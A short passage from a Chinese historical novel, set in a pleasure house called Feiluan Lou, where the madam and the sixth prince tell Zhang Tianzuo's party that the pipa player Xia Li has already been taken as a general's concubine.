新了奇,生了怪。张天作知秦楼楚馆素有女子献艺不献身,想着夏璃姑娘也是如此自洁,才开言说要收了她,想见上一见这位琵琶妙绝的可人儿。可谁想,这飞鸾楼倒真是深藏不露,连有夫家的娘子都揽得进来。
楚英一个字也是不信,握着拳头怒道,“你可知我们是谁?胆敢唬我家公子?”
妆姨娘一脸歉容,小心翼翼道,“您是高明公子请来的贵客,就是给我一万个胆子也不敢唬您这几位金爷。夏璃姑娘确是已嫁之身,不信,您可以问问您身旁的高公子。”
六皇子点头道,“不错,夏璃姑娘几月前便被抚远将军府收作妾了,寻常清倌,有个千银两也就足了,这笔买卖,妆娘可是足足挣了王将军五千两真金白银呢。”说着,还比出五根手指头。